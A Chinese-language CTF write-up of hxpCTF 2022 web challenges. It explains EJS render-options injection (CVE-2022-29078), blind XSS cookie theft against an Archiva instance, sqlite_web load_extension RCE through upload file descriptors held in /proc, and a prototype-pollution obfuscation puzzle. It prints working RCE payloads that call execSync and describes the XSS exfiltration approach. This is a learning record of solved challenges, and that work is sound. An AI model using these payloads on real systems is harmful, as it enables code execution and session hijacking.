0%

hxpCTF2022wp

hxpCTF2022wp

又跟着科恩疯狂偷学,天哥一人单刷全部web,我在科恩后面偷看答案复现
以及,这是一场在23年办的2022ctf

valentine

有效的代码部分如下

app.post('/template', function(req, res) {
  let tmpl = req.body.tmpl;
  let i = -1;
  while((i = tmpl.indexOf("<%", i+1)) >= 0) {
    if (tmpl.substring(i, i+11) !== "<%= name %>") {
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      return;
    }
  }
  let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch(err) {
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`);
});

app.get('/:template', function(req, res) {
  let query = req.query;
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  if (!query['name']) {
    query['name'] = ''
  }
  return res.render(template, query);
});

可以提交一个模板然后渲染,模板处限制了模板内以<%开头的内容只能是<%= name %>,看起来好像有洞,实际上是无敌防御,然后是渲染流程,这里有一个地方写歪了,他直接将用户输入的query整个作为参数传入render,而不是{name: query['name']}这种比较合理的形式,这会导致用户的输入会作为渲染时选项,进一步造成危害(总觉得以前看到过一个文章专门提到过这个写法的问题)

这个问题在22年居然申了一个CVE CVE-2022-29078

解1

触发的点位于ejs.js的renderFile函数中,如下一段

    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }

此处的opts后续会作为后续渲染的opts,而data即为render时传入的query对象,如上面的CVE所言,data中settings属性的view options属性会被完整的传递给opts,而不是传递到opts属性下的某个属性中,在用户完全可控render函数的options对象时,就等于完全可控此处了

那么,经典的outputFunctionName还能不能用呢?

最后的渲染是在ejs/lib/ejs.js的compile函数中,可以看到被拼进来的几个来自opts的值,比如outputFunctionName,localsName,destructuredLocals都被过了一个_JS_IDENTIFIER.test()进行正则判断,控制了也不能用了

但是还有一个值被拼进了代码,却没有被过滤

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

而这个escapeFn的定义是var escapeFn = opts.escapeFunction;,很难不怀疑是不是修 的时候看这个值前面没有opts.就漏掉了。当然,这个函数是用来对用户输入的html字符做转义的,本身也不能被简单的过滤。那么这个值能不能控制呢,看一下templates类中初始化都有哪些可控值

  options.client = opts.client || false;
  options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
  options.compileDebug = opts.compileDebug !== false;
  options.debug = !!opts.debug;
  options.filename = opts.filename;
  options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
  options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
  options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
  options.strict = opts.strict || false;
  options.context = opts.context;
  options.cache = opts.cache || false;
  options.rmWhitespace = opts.rmWhitespace;
  options.root = opts.root;
  options.includer = opts.includer;
  options.outputFunctionName = opts.outputFunctionName;
  options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
  options.views = opts.views;
  options.async = opts.async;
  options.destructuredLocals = opts.destructuredLocals;
  options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;
  if (options.strict) {
    options._with = false;
  }
  else {
    options._with = typeof opts._with != 'undefined' ? opts._with : true;
  }

  this.opts = options;

还看了一圈,感觉所有的opts选项都是能被控制的,这个escapeFunction也赫然在列

那么,控制这个地方就可以做到rce了,由于是对用户输入做转义,所以是对输入内容进行处理后返回,这个函数的返回值就直接是渲染上去的回显,也就是可以直接回显了

settings[view options][client]=1&settings[view options][escape]={}.constructor.constructor("return process.mainModule.require('child_process').execSync('/readflag')")

但是一发打过去并没有直接通,这里还有一个预留的坑,Dockerfile中有一句ENV NODE_ENV=production,指定了在生产环境下运行,这会导致options中有一个cache选项被置为true,导致了模板函数只会产生一次,后续的渲染都会用之前构造好的模板函数进行,具体在ejs.js的handleCache函数中

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;

  if (options.cache) {
    if (!filename) {
      throw new Error('cache option requires a filename');
    }
    func = exports.cache.get(filename);    // 获取到之前的func就返回了
    if (func) {
      return func;
    }
    if (!hasTemplate) {
      template = fileLoader(filename).toString().replace(_BOM, '');
    }
  }
  else if (!hasTemplate) {
    // istanbul ignore if: should not happen at all
    if (!filename) {
      throw new Error('Internal EJS error: no file name or template '
                    + 'provided');
    }
    template = fileLoader(filename).toString().replace(_BOM, '');
  }
  func = exports.compile(template, options);    // 这行会进入后续的渲染
  if (options.cache) {    // cache为true时渲染完成就将这个模板函数放入cache,下次再调用时在前面获取到已经编译过的模板就返回回去了
    exports.cache.set(filename, func);
  }
  return func;
}

而本题在写入模板后会同时302用户访问模板进行渲染,导致cache出现,导致后续的payload打不通。解决方法有两种,1. 上burp抓包,不302重定向过去然后第一次访问带上payload打通,2. 等个 半天等cache过期或者被挤掉(没有仔细看cache生命周期)

解2

看到上面可控的那一堆opts参数,还有另一个在当前情况下可以利用,那就是delimiter,因为本题是限制了<%的出现,而<%是ejs的默认标签,实际上这个值是可以被修改的,分别对应上述opts中的openDelimiter,delimiter,closeDelimiter,只要将openDelimiter由<改为其他值,就能绕过写入模板时的限制,类似于render_template_string这种洞一样当场渲染,并且也直接将执行的结果进行输出

<>替换为12即可
1%= process.mainModule.require('child_process').execSync('/readflag') %2

控制cache

既然opt的每个值都能被控制,能不能反手控制cache,改成false禁用掉呢。说得好,然后试了一下发现并不行完全可以,具体原因也发生在我们用data.settings['view options']来控制opt那块

在我们用view options控制了opts部分属性之后,还有一个utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);对将data中的数据赋值到了opt中,而这个_OPTS_PASSABLE_WITH_DATA_EXPRESS为如下值

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// We don't allow 'cache' option to be passed in the data obj for
// the normal `render` call, but this is where Express 2 & 3 put it
// so we make an exception for `renderFile`
var _OPTS_PASSABLE_WITH_DATA_EXPRESS = _OPTS_PASSABLE_WITH_DATA.concat('cache');

刚好加了个cache上去,那么data中的cache值又从哪来呢。这个过程发生在express/lib/application.jsrender函数中,这里的renderOptions就是我们后面的data,这里会因为express的配置显式的将cache赋值,此处由于是production环境,所以得到的结果是true,无法控制了捏
打完justCTF后update一下,这里显然是可以完全控制的,只要令renderOptions.cache是一个不为null的false值就行了,比如空字符串,这样子这里就不会进入赋值语句,cache变成用户控制的值。所以我当时是有多脑溢血能说出来这里不能控制?

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

这个题是最简单的web,大家感觉都乱秒这个题。。。虽然说前面半截的利用确实老了点,但是之前我也没有好好调这种东西,并且一开始没有意识到洞在这个传入变量没写好上。。。控制住之后对后面的利用细节也不了解,临时调过还是花了几个小时,学到许多.jpg

archived

一个看了半天不知道在干什么然后实际做起来很简单的题。。。

开局给的docker file超级复杂,加上题目形式是一个bot+一个challenge,challenge还不搞公有环境,私有环境开出来还上一个代理,需要通过http header认证,导致我一个小时在读各种配置文件查这个题到底在干什么。。。(还是不熟java了,jetty能干嘛真不熟)

admin bot

没啥功能,因为题目的架构问题,所以又要输proxy密码又要输admin密码的,实际上就是访问一次题目的/repository/internal路径,没了

challenge

真的给我看麻了都没看懂。。。
里面一个archiva.xml配了一堆东西,一个jetty.xml配了一堆东西,一个setup.sh配置了archiva一堆属性,entrypoint.sh启动了jetty,resource-retriever.sh下载archiva

然后我找了半天这到底起了个啥服务干了些啥。。。嗯是没看懂,jetty也不熟,搜了一下说是能当http服务器,也能用于机器间通信

主要是找了半天想找找源码之类的东西,结果最后发现就没有源码,就直接是jetty起了个archiva。。。

配置文件也没啥看的,实际上就是完整的给你提供了一个本地环境而已,要做的就是一个盲打xss

。。。看了半天啥也没学会

题解

远程是只有一个普通用户ctf的权限的,上去就一个功能上传文件,这个玩意感觉就是个maven仓库一样的东西,可以传文件然后group id artifacts id之类的,其中group id会出现在admin会访问的/repository/internal中,放在a标签的href属性里面。

有简单的黑名单,尖括号直接新开标签是不允许的,但是可以直接双引号属性逃逸出来。。。然后可以从burp的xss cheatsheet里面抄一个payload,onfocus+autofocus触发xss

能xss然后反手偷cookie即可
但是xss过滤也不止一个尖括号,点斜杠什么的也不能用,这样子就不好外带数据了,但是绕过也很简单,eval(atob(base64....))就直接过了,但是我一时间居然没有反应过来。。。鉴定为纯纯的菜逼

cookie偷出来之后直接在控制台document.cookie=赋值就能访问上去,但是会出现一个报错说权限不够,需要额外认证,整了我们半天,最后本地开环境试了半天之后发现,这个admin是有两个cookie的,但是document.cookie赋值一次只能赋值上一个,分号后面的内容给忽略掉了,所以把整个cookie字段复制进去实际上只放进去了一个。。。需要把两个cookie分别赋值两次,第二次反而不会覆盖前面的而是添加一个新的上去

然后在admin界面乱点,在仓库管理那里可以更改仓库的根目录,改成文件系统根目录就能直接访问flag了

另:editthiscookie这个插件好像用不了了,不然就不会有这个问题了。。。

sqlite_web

又是一个没有源码的题,给出来的环境唯一作用为能够搭建本地复现环境,代码又是直接从github拉下来然后启动,用的是coleifer/sqlite-web
然后给数据库加了一层密,密钥是flag,flag也放到了根目录,配合了一个/readflag,鉴定为需要rce,且数据库这块加密屁用没有,数据库里的数据也屁用没有(也许flag搞出来了之后解密出来是彩蛋)

彩蛋

确实是彩蛋,ad下的数据就是一个ad

Shameless self-ad ;) Star my repos https://github.com/Sandr0x00
hxp ctf, the only ctf with memes encrypted with the flag
Go on and solve more challenges now

之类的东西。。。出题人好闲,还整了这么多表加密这些屁话

题解

首先有了上一个题的教训,这把直接不看给的东西(实际上也没给啥东西)。先去看一眼给出的这个依赖有没有问题,简单的看了一下就一个py文件里面写了一堆,表下的query路由可以执行任意SQL语句,一次只能执行一条语句,简单的稍微追踪了一下,感觉也绕不过去,再之启动参数是nohup sqlite_web encrypted.db -x -r -e ./crypto -H 0.0.0.0 -p 80 &-r加了readonly检查了一下也是不能绕的,等于一个只有一条语句任意执行且不能写的利用。

看一下几个选项-x没什么用,-r以只读模式启动,-e加载插件,这里的crypto插件来自于nalgeon/sqlean,就提供了一hash函数,也就是这里用的sha256。但是你如果能加载插件的话,总觉得好像有操作空间了捏

sqlite加载插件的函数为load_extension,第一个参数为插件路径,第二个参数为入口函数(可留空),如果在windows环境下,可以直接用网络文件共享加载远程插件,无敌利用。可惜这里是linux,不过load_extension确实符合了一个语句rce的条件,但问题在于怎么在本地文件系统上面创造一个文件呢?

首先sqlite写是做不到的,首先是read only模式,其次一次只能执行一条语句,attach database只能创建出一个空文件也无法后续继续写,再次是sqlite写出来的文件会有脏数据,有脏数据是不会被识别为合法的插件的。

翻一下sqlite_web的源码,里面有一个 import路由,允许用户上传一个文件去导入数据到数据库中,如果上传的文件会以某种形式留存在磁盘上,就可以考虑条件竞争去抢,就像PHP的session upload progress一样

尝试上传,并使用chatgpt给的脚本监控文件目录

#!/bin/bash

# 监视当前目录下所有文件和子目录的变化
inotifywait -r -m -e create,delete,modify . |

# 读取事件流中的每一行
while read path action file; do
    # 输出文件变化事件
    echo "File $file in $path was $action"
done

结果为屁用没有,刚好看到源码在import中处理上传文件时有这么一段注释

# The SpooledTemporaryFile used by werkzeug does not
# implement an API that the TextIOWrapper expects, so we’ll
# just consume the whole damn thing and decode it.
# Fixed in werkzeug 0.15.

搜一下这个SpooledTemporaryFile

class tempfile.SpooledTemporaryFile(max_size=0, mode=’w+b’, buffering=- 1, encoding=None, newline=None, suffix=None, prefix=None, dir=None, *, errors=None)
这个类执行的操作与 TemporaryFile() 完全相同,但会将数据缓存在内存中直到文件大小超过 max_size,或者直到文件的 fileno() 方法被调用,这时文件内容会被写入磁盘并如使用 TemporaryFile() 时一样继续操作。

意思是只要够大就写磁盘了,梭一个1M的文件上去,脚本有动静了,但是名字是随机的,无法预测,凉了啊

转机

内存文件也有内存文件的好处,我一度居然忘记了无敌的proc文件系统,上传的文件直接可以在proc里面访问上,反而省去了猜名字,现在只要猜pid和fd就可以了

pid猜测这里有一点奇怪的玄学,或者说就不用猜了,python的app稳定在pid为7的进程上,说起来linux的进程号是随着进程的创建一直递增的,docker中由于启动顺序总是一致的且没有其他干扰(大概),导致app的pid稳定在了7,并且这里使用的是development时使用的werkzeug,就一个进程跑,不会重启不会拉子进程,确保了pid的稳定性。确保了pid,剩下的fd就是选一个范围硬爆了

不过即使这样,内存文件的驻留时间也很短,竞争难度大。rmb提出了究极解决方案,通过修改content-length,可以强行让对方服务器等待后续内容,做到fd的长时间驻留(内容没收完居然也就在内存中有对应的fd了,真高级啊)

虽然理论上好像是这个样子的,但是我试了一下没有成功。。。(以及,burp repeater中关闭content length自动补全是在最上面那一排。。。我找了半天)还是得上脚本嗯爆,嗯爆成功的前提是知道pid固定为7

小小的疑惑点

如果先在web页面乱按了两下的话,会发现如果ext没有指定后缀的情况下,是会自动添加.so后缀的,这里的启动方法也一样,-e crypto,然后自动匹配了crypto.so。就算你创建了对应的无后缀文件,load还是会去找那个.so,一度让我怀疑proc能不能打,后来我发现似乎是当指定的这个文件不符合插件规则时才补齐.so后缀去找,我把题目给出的crypto.so复制一份到一个无后缀文件里再加载就跑起来了

true_web_assembly

真正的web assembly,指用汇编写一个网站,鉴定为坐牢,没看
但是还是有大哥给他整通了,看了下wp好像是content长度过大时title能xss,然后admin cookie是http only的,只能xss admin给用户升级到admin,升级完之后在设置里配置smtp_exec项,该项目会在change email的时候被执行,xss出一个admin号然后手动操作后续应该就可以了8(大概)

至于为什么这个项会在这个时候触发,就是大哥们看汇编得到的结果了。。。

required

这个题的分类是逆向+web,所以我看了一下web部分
题目下下来是1k个js文件和一个require.js作为主文件,1k个文件里面还有缺失,实际上不满1k个
require的作用就是各种require前面的xxx.js并且加上参数调用,最后输出经过这一堆require处理过的flag,与0xd19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969进行比较,相同就对了
部分内容如下

f=[...require('fs').readFileSync('./flag')]
require('./28')(753,434,790)
require('./157')(227,950,740)
require('./736')(722,540,325)
require('./555')(937,26,229)
require('./394')(192,733,981)
.....

看一眼28.js的内容

module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={},Object.entries(require('./289')(i,j)).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${i}`))

首先是这一段i+=[],j+"",t=(t+{}).split("[")[0]功能实际上就是把输入的数字变成字符串,然后require了289.js,看一眼289.js

module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],JSON.parse(`{"__proto__":{"data":{"name":"./${i}","exports":{".": "./${j}.js"}},"path": "./"}}`))

返回了一个赋值好__proto__的对象,而后面的这段forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v)))操作就是在进行原型链污染,把__proto__的各个属性赋值到空对象o上去,最后require i.js

但是实际上找一下会发现,i对应的很多文件是不存在的,这是怎么回事捏

这就要看这个奇怪的原型链污染操作了,污染了一些奇奇怪怪的东西,如果进行回忆之前balsn的那一个题,就能想起许多
balsnCTF2022

再跟着当时的情况调一下,如果没有package.json,原型链污染控制data和path,data需要和require中的字符串一致,就会去加载path下的exports。这样子就完美解释了捏

比如require('./555')(504,897,229),555.js内容如下

module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],o={},Object.entries(require('./289')(j,t)).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))),require(`./${j}`))

实际上加载的是require(‘./289’)时的第二个参数t,也就是229.js,而非j对应的897.js这样子。而此时加载的脚本都是一些简单的位操作,对flag进行各种与或非移位之类的

module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],f[j]=f[j]^(f[j]>>1))

除了上述的简介加载和直接加载以外,还有一个特殊文件556.js,用来清理require.cache,不知道会不会影响原型链污染的加载情况,但是人工看了一下之后发现556.js后面没有接加载不存在文件的操作,所以忽略掉

module.exports=(i,j,t)=>(i+=[],j+"",t=(t+{}).split("[")[0],Object.keys(require.cache).forEach(i=>{delete require.cache[i]}))

综上,写出来一个脚本还原整个加密操作

import re


def writeOp(content, funcArgs, outfile):
    pattern = re.escape('module.exports=(i,j,t)=>(i%=30,j%=30,t%=30,i+=[],j+"",t=(t+{}).split("[")[0],')
    match = re.search(pattern+"(.*)\\)$", content)
    if match:
        func = match.groups()[0]
        arr = re.search("\\(([0-9]+),([0-9]+),([0-9]+)\\)", funcArgs).groups()
        arrInt = []
        for element in arr:
            arrInt.append(int(element) % 30)
        func = func.replace('i', str(arrInt[0]))
        func = func.replace('j', str(arrInt[1]))
        func = func.replace('t', str(arrInt[2]))
        outfile.writelines(func)
        outfile.write("\n")
    else:
        outfile.writelines(content)
        outfile.write("\n")

includefile = ''
with open(r"required.js", 'r') as infile:
    with open(r"simplified.js", 'w') as outfile:
        for line in infile:
            # print(line)
            match = re.search("require\\('\\./([0-9]{1,3})'\\)(\\(([0-9]{1,3}),([0-9]{1,3}),([0-9]{1,3})\\))", line)
            if match:
                try:
                    with open(r"{}.js".format(match.groups()[0]), 'r') as requirefile:
                        content = requirefile.read()
                        ijt = re.search("require\\('\\./289'\\)\\([ijt],([ijt])\\)", content)
                        # 有些文件没有require直接是位操作
                        if ijt:
                            index = ijt.groups()[0]
                            if index == 'i':
                                num = match.groups()[2]
                            elif index == 'j':
                                num = match.groups()[3]
                            elif index == 't':
                                num = match.groups()[4]
                            else:
                                raise RuntimeError("invalid index: {}".format(index))
                            includefile = num
                            with open(r"{}.js".format(num), 'r') as targetfile:
                                content = targetfile.read()
                                writeOp(content, match.groups()[1], outfile)
                        else:
                            writeOp(content, match.groups()[1], outfile)
                # 有时候会直接在外面include不存在的文件,这个时候就是靠之前污染的值去加载
                except FileNotFoundError:
                    with open(r"{}.js".format(includefile), 'r') as f:
                        content = f.read()
                        writeOp(content, match.groups()[1], outfile)
            else:
                outfile.writelines(line)
                outfile.write("\n")

这点内容我写了一个多小时。。。coding能力还是太差了捏呜呜呜,并且后面这半边还需要把对应的加密环节逆向回去,这就超出我的能力范围了

真不知道tkmk神仙怎么做到的一个小时就做出来了。。。太强了8

又,这种混淆应该用ast写会更稳定一些,不过这里的整个混淆的结构都很简单并且很固定,直接写正则也不是不行。。。